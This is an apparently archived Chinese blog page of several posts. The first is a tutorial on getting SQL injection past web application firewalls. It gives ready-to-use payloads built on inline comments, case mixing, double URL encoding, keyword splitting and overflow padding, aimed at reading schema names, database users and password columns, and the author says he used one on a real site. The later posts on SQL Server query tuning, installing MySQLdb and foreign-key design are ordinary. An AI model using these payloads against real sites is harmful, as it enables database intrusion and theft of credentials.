  WAF呢,简单说,它是一个Web应用程序防火墙,其功能呢是用于过滤某些恶意请求与某些关键字。WAF仅仅是一个工具,帮助你防护网站来的。但是如果你代码写得特别渣渣,别说WAF帮不了你,就连wefgod都帮不了你…所以不能天真的以为用上WAF你的网站就百毒不侵了。开始正题—-
  1>注释符
  相信很多朋友都知道SQL的注释符吧,这算是绕WAF用的最广泛的了。它们允许我们绕过很多Web应用程序防火墙和限制,我们可以注释掉一些sql语句,然后让其只执行攻击语句而达到入侵目的。
  常用注释符:
  //, -- , /**/, #, --+, -- -, ;%00
  2>情况改变
  然而,以前审计的一些开源程序中,有些厂商的过滤很不严谨,一些是采用黑名单方式过滤,但是有些只过滤了小写形式,然而在传参的时候并没有将接收参数转换为小写进行匹配。针对这种情况,我们很简单就能绕过。
  比如它的过滤语句是:
  /union\sselect/g
  那么我们就可以这样构造:
  id=1+UnIoN/**/SeLeCT
  3>内联注释
  有些WAF的过滤关键词像/union\sselect/g,就比如上面说的,很多时候我都是采用内联注释。更复杂的例子需要更先进的方法。比如添加了SQL关键字,我们就要进一步分离这两个词来绕过这个过滤器。
  id=1/*!UnIoN*/SeLeCT
  采用/*! code */来执行我们的SQL语句。内联注释可以用于整个SQL语句中。所以如果table_name或者者information_schema进行了过滤,我们可以添加更多的内联注释内容。
  比如一个过滤器过滤了:
  union,where, table_name, table_schema, =, and information_schema
  这些都是我们内联注释需要绕过的目标。所以通常利用内联注释进行如下方式绕过:
  id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -
  通常情况下,上面的代码可以绕过过滤器,请注意,我们用的是 Like而不是 =
  当一切似乎失败了之后,你可以尝试通过应用防火墙关闭SQL语句中使用的变量:
  id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()-- -
  即使常见内联注释本身没有工作,上述的代码也应该可以绕过union+select过滤器。
  4>缓冲区溢出:
  意想不到的输入:
  我们知道,很多的WAFS都是C语言的,他们在装载一堆数据的时候,很容易就会溢出。下面描述的就是一个这样的WAF,当它接收到大量数据恶意的请求和响应时。
  id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A's)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--+
  上面的bypass语句,我在最近的一个网站绕过上用到了。
  5>替换关键字(preg_replace and/or都能达到相同目的):
  有时程序会删除所有的关键字,例如,有一个过滤器,他会把union select变成空白,这时我们可以采用以下方式进行绕过:
  id=1+UNIunionON+SeLselectECT+1,2,3–
  不难明白吧?union和select变成空白了,两边的又会重新组合成新的查询。
  UNION+SELECT+1,2,3--6>Character编码:
  有些情况下,WAF对应用程序中的输入进行解码,但是有些WAF是只过滤解码一次的,所以只要我们对bypass语句进行双重编码就能将其绕过之。(WAF解码一次然后过滤,之后的SQL语句就会被自动解码直接执行了~)
  双重编码bypass语句示例:
  id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
  一些双重编码举例:
  单引号:'
%u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
空白:
%u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
左括号(:
%u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
右括号):
%u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9
  7>综合:
  绕过几个简单的WAF之后,后面的任务也越来越容易了~下面说几种方法来绕过你的目标WAF。
  7a>拆散SQL语句:
  通常的做法是:需要把SQL注入语句给拆散,来检查是哪个关键字被过滤了。比如,如果你输入的是union+select语句,给你报了一个403或内部服务器错误,什么union不合法什么的,就知道过滤了哪些了,也是常见的Fuzzing测试。这是制造bypass语句的前提。
  7b>冗长的报错:
  当你的sql语法输入错误时、对方网站又没关闭错误回显的时候,会爆出一大堆错误,在php中更会爆出敏感的网站根目录地址。aspx则会爆出整个语法错误详细信息。
  比如你输入的语法是:
  id=1+Select+1,2,3--
  会给你报出以下错误:
  Error at line 1 near " "+1,2,3--
  上面也说过了黑名单方式过滤,也可以采用以下方式进行绕过:
  sel%0bect+1,2,3
  这只是众多方法之一,绕过不同WAF需要不同的bypass思路。
  8>高级bypass技巧:
  正如前面所说的,当你尝试着绕过几个WAF之后,你会觉得其实他并不难,会感觉到很有趣,很有挑战性 :b  ,当你在注入的时候发现自己被WAF之后,不要想要放弃,尝试挑战一下,看看它过滤了什么,什么语法允许,什么语法不允许。当然,你也可以尝试暴力一些,就把它当成inflatable doll, [;:{}()*&$/|<>?"'] 中括号里的这些特殊字符不是留着摆设的撒~能报个错出来都是颇为自豪的,骚年,你说对不对?
  但是,如果你试了N个语句,都tm被过滤了,整个人都快崩溃了,该怎么办?很简单,打开音乐播放器,放一首小苹果放松一下。然后把WAF过滤的东东全部copy下来,仔细分析!俗话怎么说来着,世上无难事,只怕有心人。
  举例来说,比如你分析到最后,发现所有的*都被换成空白了,就意味着你不能使用内联注释了,union+select也会给你返回一个403错误,在这种情况下,你应该充分利用*被替换成空白:
  id=1+uni*on+sel*ect+1,2,3--+
  这样的话,*被过滤掉了,但是union+select被保留下来了。这是常见的WAF bypass技巧,当然不仅仅是union+select,其他的语法被过滤了都可以采用这种的。找到被替换的那个关键字,你就能找到绕过的方法。
  一些常见的bypass:
  id=1+(UnIoN)+(SelECT)+
  id=1+(UnIoN+SeLeCT)+
  id=1+(UnI)(oN)+(SeL)(EcT)
  id=1+'UnI''On'+'SeL''ECT' <-MySQL only
  id=1+'UnI'||'on'+SeLeCT' <-MSSQL only
  注意:在mysql4.0种,UNI /**/ON+SEL/**/ ECT是没办法用的。
  结语:WAF的姿势取决于你思维的扩散,自我感觉在WAF bypass的过程中能找到很多乐趣,不是吗?更多姿势欢迎pm我。

posted @ 2014-07-03 18:36 顺其自然EVO 阅读(221) | 评论 (0)编辑 收藏

SQL语句的优化分析

sql语句性能达不到你的要求,执行效率让你忍无可忍,一般会时下面几种情况。
  网速不给力,不稳定。
  服务器内存不够,或者SQL 被分配的内存不够。
  sql语句设计不合理
  没有相应的索引,索引不合理
  没有有效的索引视图
  表数据过大没有有效的分区设计
  数据库设计太2,存在大量的数据冗余
  索引列上缺少相应的统计信息,或者统计信息过期
  ....
  那么我们如何给找出来导致性能慢的的原因呢?
  首先你要知道是否跟sql语句有关,确保不是机器开不开机,服务器硬件配置太差,没网你说p啊
  接着你使用我上一篇文章中提到的2柯南sql性能检测工具--sql server profiler,分析出sql慢的相关语句,就是执行时间过长,占用系统资源,cpu过多的
  然后是这篇文章要说的,sql优化方法跟技巧,避免一些不合理的sql语句,取暂优sql
  再然后判断是否使用啦,合理的统计信息。sql server中可以自动统计表中的数据分布信息,定时根据数据情况,更新统计信息,是很有必要的
  确认表中使用啦合理的索引,这个索引我前面博客中也有提过,不过那篇博客之后,还要进一步对索引写篇文章
  数据太多的表,要分区,缩小查找范围
  分析比较执行时间计划读取情况
  select * from dbo.Product
  执行上面语句一般情况下只给你返回结果和执行行数,那么你怎么分析呢,怎么知道你优化之后跟没有优化的区别呢。
  下面给你说几种方法。
  1.查看执行时间和cpu占用时间
  set statistics time on
  select * from dbo.Product
  set statistics time off
  打开你查询之后的消息里面就能看到啦。
  2.查看查询对I/0的操作情况
  set statistics io on
  select * from dbo.Product
  set statistics io off
  执行之后

 扫描计数:索引或表扫描次数
  逻辑读取:数据缓存中读取的页数
  物理读取:从磁盘中读取的页数
  预读:查询过程中,从磁盘放入缓存的页数
  lob逻辑读取:从数据缓存中读取,image,text,ntext或大型数据的页数
  lob物理读取:从磁盘中读取,image,text,ntext或大型数据的页数
  lob预读:查询过程中,从磁盘放入缓存的image,text,ntext或大型数据的页数
  如果物理读取次数和预读次说比较多,可以使用索引进行优化。
  如果你不想使用sql语句命令来查看这些内容,方法也是有的,哥教你更简单的。
  查询--->>查询选项--->>高级
  被红圈套上的2个选上,去掉sql语句中的set statistics io/time on/off 试试效果。哦也,你成功啦。。
  3.查看执行计划
  首先我这个例子的语句太过简单,你整个复杂的,包涵啊。
  分析:鼠标放在图标上会显示此步骤执行的详细内容,每个表下面都显示一个开销百分比,分析站百分比多的的一块,可以根据重新设计数据结构,或这重写sql语句,来对此进行优化。如果存在扫描表,或者扫描聚集索引,这表示在当前查询中你的索引是不合适的,是没有起到作用的,那么你就要修改完善优化你的索引,具体怎么做,你可以根据我上一篇文章中的sql优化利器--数据库引擎优化顾问对索引进行分析优化。
  select查询艺术
  1.保证不查询多余的列与行。
  尽量避免select * 的存在,使用具体的列代替*,避免多余的列
  使用where限定具体要查询的数据,避免多余的行
  使用top,distinct关键字减少多余重复的行
  2.慎用distinct关键字
  distinct在查询一个字段或者很少字段的情况下使用,会避免重复数据的出现,给查询带来优化效果。
  但是查询字段很多的情况下使用,则会大大降低查询效率。
  由这个图,分析下:
  很明显带distinct的语句cpu时间和占用时间都高于不带distinct的语句。原因是当查询很多字段时,如果使用distinct,数据库引擎就会对数据进行比较,过滤掉重复数据,然而这个比较,过滤的过程则会毫不客气的占用系统资源,cpu时间。
  3.慎用union关键字
  此关键字主要功能是把各个查询语句的结果集合并到一个结果集中返回给你。用法
  <select 语句1>
  union
  <select 语句2>
  union
  <select 语句3>
  ...
  满足union的语句必须满足:1.列数相同。 2.对应列数的数据类型要保持兼容。
  执行过程:
  依次执行select语句-->>合并结果集--->>对结果集进行排序,过滤重复记录。
select * from
(( orde o  left join orderproduct op on o.orderNum=op.orderNum )
inner join product p on op.proNum=p.productnum)  where p.id<10000
union
select * from
(( orde o  left join orderproduct op on o.orderNum=op.orderNum )
inner join product p on op.proNum=p.productnum)  where p.id<20000 and p.id>=10000
union
select * from
(( orde o  left join orderproduct op on o.orderNum=op.orderNum )
inner join product p on op.proNum=p.productnum)  where p.id>20000   ---这里可以写p.id>100 结果一样,因为他筛选过啦
----------------------------------对比上下两个语句-----------------------------------------
select * from
(( orde o  left join orderproduct op on o.orderNum=op.orderNum )
inner join product p on op.proNum=p.productnum)
  由此可见效率确实低,所以不是在必要情况下避免使用。其实有他执行的第三部:对结果集进行排序,过滤重复记录。就能看出不是什么好鸟。然而不对结果集排序过滤,显然效率是比union高的,那么不排序过滤的关键字有吗?答,有,他是union all,使用union all能对union进行一定的优化。。
 4.判断表中是否存在数据
  select count(*) from product
  select top(1) id from product
  很显然下面完胜
  5.连接查询的优化
  首先你要弄明白你想要的数据是什么样子的,然后再做出决定使用哪一种连接,这很重要。
  各种连接的取值大小为:
  内连接结果集大小取决于左右表满足条件的数量
  左连接取决与左表大小,右相反。
  完全连接和交叉连接取决与左右两个表的数据总数量
  select * from
  ( (select * from orde where OrderId>10000) o  left join orderproduct op on o.orderNum=op.orderNum )
  select * from
  ( orde o left join orderproduct op on o.orderNum=op.orderNum )
  where o.OrderId>10000
  由此可见减少连接表的数据数量可以提高效率。
  insert插入优化
  --创建临时表
create table #tb1
(
id int,
name nvarchar(30),
createTime datetime
)
declare @i int
declare @sql varchar(1000)
set @i=0
while (@i<100000)  --循环插入10w条数据
begin
set @i=@i+1
set @sql=' insert into #tb1 values('+convert(varchar(10),@i)+',''erzi'+convert(nvarchar(30),@i)+''','''+convert(nvarchar(30),getdate())+''')'
exec(@sql)
end
  我这里运行时间是51秒
  --创建临时表
create table #tb2
(
id int,
name nvarchar(30),
createTime datetime
)
declare @i int
declare @sql varchar(8000)
declare @j int
set @i=0
while (@i<10000)  --循环插入10w条数据
begin
set @j=0
set @sql=' insert into #tb2 select '+convert(varchar(10),@i*100+@j)+',''erzi'+convert(nvarchar(30),@i*100+@j)+''','''+convert(varchar(50),getdate())+''''
set @i=@i+1
while(@j<10)
begin
set @sql=@sql+' union all select '+convert(varchar(10),@i*100+@j)+',''erzi'+convert(nvarchar(30),@i*100+@j)+''','''+convert(varchar(50),getdate())+''''
set @j=@j+1
end
exec(@sql)
end
drop table #tb2
select count(1) from #tb2
  我这里运行时间大概是20秒
  分析说明:insert into select批量插入,明显提升效率。所以以后尽量避免一个个循环插入。
  优化修改删除语句
  如果你同时修改或删除过多数据,会造成cpu利用率过高从而影响别人对数据库的访问。
  如果你删除或修改过多数据,采用单一循环操作,那么会是效率很低,也就是操作时间过程会很漫长。
  这样你该怎么做呢?
  折中的办法就是,分批操作数据。
  delete product where id<1000
  delete product where id>=1000 and id<2000
  delete product where id>=2000 and id<3000
  .....
  当然这样的优化方式不一定是最优的选择,其实这三种方式都是可以的,这要根据你系统的访问热度来定夺,关键你要明白什么样的语句是什么样的效果。
  总结:优化,最重要的是在于你平时设计语句,数据库的习惯,方式。如果你平时不在意,汇总到一块再做优化,你就需要耐心的分析,然而分析的过程就看你的悟性,需求,知识水平啦。





posted @ 2014-07-03 18:35 顺其自然EVO 阅读(240) | 评论 (0)编辑 收藏

Linux下安装MySQLdb

 在Linux下使用Python访问MySQL的方法之一是使用MySQLdb module,下面将介绍在Linux下如何安装MySQLdb的过程。
  (1)下载MySQLdb
  从SourceForge.net上下载最新的MySQLdb,http://sourceforge.net/projects/mysql-python/ ,
  解压到当前目录
  tar -zxvf MySQL-python-1.2.3
  在MySQL-python-1.2.3文件夹中,我们可以先查看README,其中,介绍了详细的安装方法:
  $ tar xfz MySQL-python-1.2.1.tar.gz
  $ cd MySQL-python-1.2.1
  $ # edit site.cfg if necessary
  $ python setup.py build
  $ sudo python setup.py install # or su first
  不过,在这里我们需要注意,安装MySQLdb的一些前提条件,需要Python 2.3.4 or higher,setuptools,MySQL 3.23.32 or higher,zlib,openssl和 C compiler,所以,在进行上述的安装过程之前,我们先把以上的工作安装好。
  (2)安装setuptools
  从http://pypi.python.org/pypi/setuptools 上下载与python版本相符合的egg,假设我们使用是python 2.4,那么,我们就下载setuptools-0.6c11-py2.4.egg
  给egg赋予可以执行的权限
  chmod +x setuptools-0.6c11-py2.4.egg
  使用shell命令运行egg
  sh ./ setuptools-0.6c11-py2.4.egg
  安装完成即可
  (3)安装MySQL
  从http://www.mysql.com/downloads/mysql/ 上下载与你的OS相符合的mysql版本,需要强调的是,我们需要使用devel版本的MySQL。
  假设下载的是 MySQL-devel-5.5.8-1.rhel5.i386.rpm
  安装rpm包
  rpm -ivh MySQL-devel-5.5.8-1.rhel5.i386.rpm
  默认安装在/usr/bin下,你可以在/usr/bin下发现如下文件
[root@********]# ls /usr/bin/ | grep "mysql"
msql2mysql
mysql
mysqlaccess
mysqlaccess.conf
mysqladmin
mysqlbinlog
mysqlcheck
mysql_config
mysqldump
mysql_find_rows
mysqlimport
mysqlshow
mysqlslap
mysql_waitpid
  其中,mysql_config位置需要在MySQLdb目录下的site.cfg文件中重新设置
  cd MySQL-python-1.2.3
  vim site.cfg
  修改如下内容:
  # The path to mysql_config.
  # Only use this if mysql_config is not on your PATH, or you have some weird
  # setup that requires it.
  mysql_config = /usr/bin/mysql_config
  保存,退出。
  此时,如果使用python setup.py build编译,有可能会出现如下错误:
  unable to execute gcc: No such file or directory
  error: command 'gcc' failed with exit status 1
  说明当前系统中还没有安装适当的编译器,我们继续安装GCC。
  (4)安装GCC

posted @ 2014-07-03 18:33 顺其自然EVO 阅读(904) | 评论 (0)编辑 收藏

数据库外键的设置与使用

  一·首先是外键的作用与设置
  保持数据一致性,完整性,主要目的是控制存储在外键表中的数据。 使两张表形成关联,外键只能引用外表中的列的值!
  例如:
  a b 两个表
  a表中存有客户号,客户名称
  b表中存有每个客户的订单
  有了外键后
  你只能在确信b 表中没有客户x的订单后,才可以在a表中删除客户x
  建立外键的前提: 本表的列必须与外键类型相同(外键必须是外表主键)。
  指定主键关键字: foreign key(列名)
  引用外键关键字: references <外键表名>(外键列名)
  事件触发限制: on delete和on update , 可设参数cascade(跟随外键改动), restrict(限制外表中的外键改动),set Null(设空值),set Default(设默认值),[默认]no action
  例如:
  outTable表 主键 id 类型 int
  创建含有外键的表:
  create table temp(
  id int,
  name char(20),
  foreign key(id) references outTable(id) on delete cascade on update cascade);
  说明:把id列 设为外键 参照外表outTable的id列 当外键的值删除 本表中对应的列筛除 当外键的值改变 本表中对应的列值改变。
  今天有朋友问我"外键的作用是什么"
  当朋友问我外键的作用是什么时,我也愣了一下,平常都是在这么用,还没有真正的总结过,外分键的作用呢.下面,我总结了一下外键的作用:
  外键 (FK) 是用于建立和加强两个表数据之间的链接的一列或多列。通过将保存表中主键值的一列或多列添加到另一个表中,可创建两个表之间的链接。这个列就成为第二个表的外键。
  FOREIGN KEY 约束的主要目的是控制存储在外键表中的数据,但它还可以控制对主键表中数据的修改。例如,如果在 publishers 表中删除一个出版商,而这个出版商的 ID 在 titles 表中记录书的信息时使用了,则这两个表之间关联的完整性将被破坏,titles 表中该出版商的书籍因为与 publishers 表中的数据没有链接而变得孤立了。FOREIGN KEY 约束防止这种情况的发生。如果主键表中数据的更改使之与外键表中数据的链接失效,则这种更改是不能实现的,从而确保了引用完整性。如果试图删除主键表中的行或更改主键值,而该主键值与另一个表的 FOREIGN KEY 约束值相关,则该操作不可实现。若要成功更改或删除 FOREIGN KEY 约束的行,可以先在外键表中删除外键数据或更改外键数据,然后将外键链接到不同的主键数据上去。
  外键是用来控制数据库中数据的数据完整性的
  就是当你对一个表的数据进行操作
  和他有关联的一个或更多表的数据能够同时发生改变
  这就是外键的作用 [精] 谈谈外键
  外键 (FK) 是用于建立和加强两个表数据之间的链接的一列或多列。通过将保存表中主键值的一列或多列添加到另一个表中,可创建两个表之间的链接。这个列就成为第二个表的外键。
  FOREIGN KEY 约束的主要目的是控制存储在外键表中的数据,但它还可以控制对主键表中数据的修改。例如,如果在 publishers 表中删除一个出版商,而这个出版商的 ID 在 titles 表中记录书的信息时使用了,则这两个表之间关联的完整性将被破坏,titles 表中该出版商的书籍因为与 publishers 表中的数据没有链接而变得孤立了。FOREIGN KEY 约束防止这种情况的发生。如果主键表中数据的更改使之与外键表中数据的链接失效,则这种更改是不能实现的,从而确保了引用完整性。如果试图删除主键表中的行或更改主键值,而该主键值与另一个表的 FOREIGN KEY 约束值相关,则该操作不可实现。若要成功更改或删除 FOREIGN KEY 约束的行,可以先在外键表中删除外键数据或更改外键数据,然后将外键链接到不同的主键数据上去。
  外键是用来控制数据库中数据的数据完整性的
  就是当你对一个表的数据进行操作
  和他有关联的一个或更多表的数据能够同时发生改变
  这就是外键的作用
  主键和外键是把多个表组织为一个有效的关系数据库的粘合剂。主键和外键的设计对物理数据库的性能和可用性都有着决定性的影响。
  必须将数据库模式从理论上的逻辑设计转换为实际的物理设计。而主键和外键的结构是这个设计过程的症结所在。一旦将所设计的数据库用于了生产环境,就很难对这些键进行修改,所以在开发阶段就设计好主键和外键就是非常必要和值得的。
  主键:
  关系数据库依赖于主键---它是数据库物理模式的基石。主键在物理层面上只有两个用途:
  1. 惟一地标识一行。
  2. 作为一个可以被外键有效引用的对象。
  基于以上这两个用途,下面给出了我在设计物理层面的主键时所遵循的一些原则:
  1. 主键应当是对用户没有意义的。如果用户看到了一个表示多对多关系的连接表中的数据,并抱怨它没有什么用处,那就证明它的主键设计地很好。
  2. 主键应该是单列的,以便提高连接和筛选操作的效率。
  注:使用复合键的人通常有两个理由为自己开脱,而这两个理由都是错误的。其一是主键应当具有实际意义,然而,让主键具有意义只不过是给人为地破坏数据库提供了方便。其二是利用这种方法可以在描述多对多关系的连接表中使用两个外部键来作为主键,我也反对这种做法,理由是:复合主键常常导致不良的外键,即当连接表成为另一个从表的主表,而依据上面的第二种方法成为这个表主键的一部分,然,这个表又有可能再成为其它从表的主表,其主键又有可能成了其它从表主键的一部分,如此传递下去,越靠后的从表,其主键将会包含越多的列了。
  3. 永远也不要更新主键。实际上,因为主键除了惟一地标识一行之外,再没有其他的用途了,所以也就没有理由去对它更新。如果主键需要更新,则说明主键应对用户无意义的原则被违反了。
  注:这项原则对于那些经常需要在数据转换或多数据库合并时进行数据整理的数据并不适用。
  4. 主键不应包含动态变化的数据,如时间戳、创建时间列、修改时间列等。
  5. 主键应当有计算机自动生成。如果由人来对主键的创建进行干预,就会使它带有除了惟一标识一行以外的意义。一旦越过这个界限,就可能产生认为修改主键的动机,这样,这种系统用来链接记录行、管理记录行的关键手段就会落入不了解数据库设计的人的手中。
  外键是数据库一级的一个完整性约束,就是数据库基础理论书中所说的“参照完整性”的数据库实现方式。
  外键属性当然是可以去掉的,如果你不想再用这种约束,对编程当然不会有什么影响,但相应的录入数据的时候就不对录入的数据进行“参照完整性”检查了。
  例如有两个表
  A(a,b) :a为主键,b为外键(来自于B.b)
  B(b,c,d) :b为主键
  如果我把字段b的外键属性去掉,对编程没什么影响。
  如上面,A中的b要么为空,要么是在B的b中存在的值,有外键的时候,数据库会自动帮你检查A的b是否在B的b中存在。
  1、外建表达的是参照完整性:这是数据固有的,与程序无关。因此,应该交给DBMS来做。
  2、使用外建,简单直观,可以直接在数据模型中体现,无论是设计、维护等回有很大的好处,特别是对于分析现有的数据库的好处时非常明显的--前不久我分析了一个企业现有的数据库,里面的参照完整性约束有的是外键描述,有的是用触发器实现,感觉很明显。当然,文档里可能有,但是也可能不全,但是外键就非常明显和直观。
  3、既然我们可以用触发器或程序完成的这个工作(指参照完整性约束),DBMS已经提供了手段,为什么我们要自己去做?而且我们做的应该说没有RDBMS做得好。实际上,早期的RDBMS并没有外键,现在都有了,我认为数据库厂商增加这个功能是有道理的。从这个角度来说,外键更方便。
  4、关于方便,根据我带项目的情况来看,程序员确实有反映,主要是在调试时输入数据麻烦:如果数据可以违反参照完整性,那么就是说参照完整性本身就不对名誉业务冲突,此时也不应该用触发期货程序实现;否则,说明数据是错误的,根本就不应该进入数据库!而且,这也应该是测试系统的一个内容:阻止非法数据。实际上,前台程序应该对这种提交失败做出处理。数据是企业的而非程序的,储程序要尽量与数据分离,反之亦然。最后说一下,建键几个原则:
  1、 为关联字段创建外键。
  2、 所有的键都必须唯一。
  3、避免使用复合键。
  4、外键总是关联唯一的键字段。
  外键的作用?
  外键是数据库一级的一个完整性约束,就是数据库基础理论书中所说的“参照完整性”的数据库实现方式。
  外键属性当然是可以去掉的,如果你不想再用这种约束,对编程当然不会有什么影响,但相应的录入数据的时候就不对录入的数据进行“参照完整性”检查了。
  例如有两个表
  A(a,b) :a为主键,b为外键(来自于B.b)
  B(b,c,d) :b为主键
  如果我把字段b的外键属性去掉,对编程没什么影响。
  如上面,A中的b要么为空,要么是在B的b中存在的值,有外键的时候,数据库会自动帮你检查A的b是否在B的b中存在。
  1、外建表达的是参照完整性:这是数据固有的,与程序无关。因此,应该交给DBMS来做。
  2、使用外建,简单直观,可以直接在数据模型中体现,无论是设计、维护等回有很大的好处,特别是对于分析现有的数据库的好处时非常明显的--前不久我分析了一个企业现有的数据库,里面的参照完整性约束有的是外键描述,有的是用触发器实现,感觉很明显。当然,文档里可能有,但是也可能不全,但是外键就非常明显和直观。
  3、既然我们可以用触发器或程序完成的这个工作(指参照完整性约束),DBMS已经提供了手段,为什么我们要自己去做?而且我们做的应该说没有RDBMS做得好。实际上,早期的RDBMS并没有外键,现在都有了,我认为数据库厂商增加这个功能是有道理的。从这个角度来说,外键更方便。
  4、关于方便,根据我带项目的情况来看,程序员确实有反映,主要是在调试时输入数据麻烦:如果数据可以违反参照完整性,那么就是说参照完整性本身就不对名誉业务冲突,此时也不应该用触发期货程序实现;否则,说明数据是错误的,根本就不应该进入数据库!而且,这也应该是测试系统的一个内容:阻止非法数据。实际上,前台程序应该对这种提交失败做出处理。数据是企业的而非程序的,储程序要尽量与数据分离,反之亦然。
  最后说一下,建键几个原则:
  1、 为关联字段创建外键。
  2、 所有的键都必须唯一。
  3、避免使用复合键。
  4、外键总是关联唯一的键字段。
  二·设置外键后如何进行数据操作
  比如你设置了2个表
  pettable
  petid(主)  petname
  ordertable
  peoplename   address  petid(外)
  一个用户买了一个宠物,那么有了个订单,如何插入ordertable表呢?
  如下:
  insert into ordertable  select 你输入的一个name(例如:'peoplename') , petname from pettable where...
  举一反三删除数据也是一样

posted @ 2014-07-02 16:40 顺其自然EVO 阅读(458) | 评论 (0)编辑 收藏

仅列出标题
共394页: First 上一页 89 90 91 92 93 94 95 96 97 下一页 Last 
<2025年7月>
293012345
6789101112
13141516171819
20212223242526
272829303112
3456789

导航

统计

常用链接

留言簿(55)

随笔分类

随笔档案

文章分类

文章档案

搜索

最新评论

阅读排行榜

评论排行榜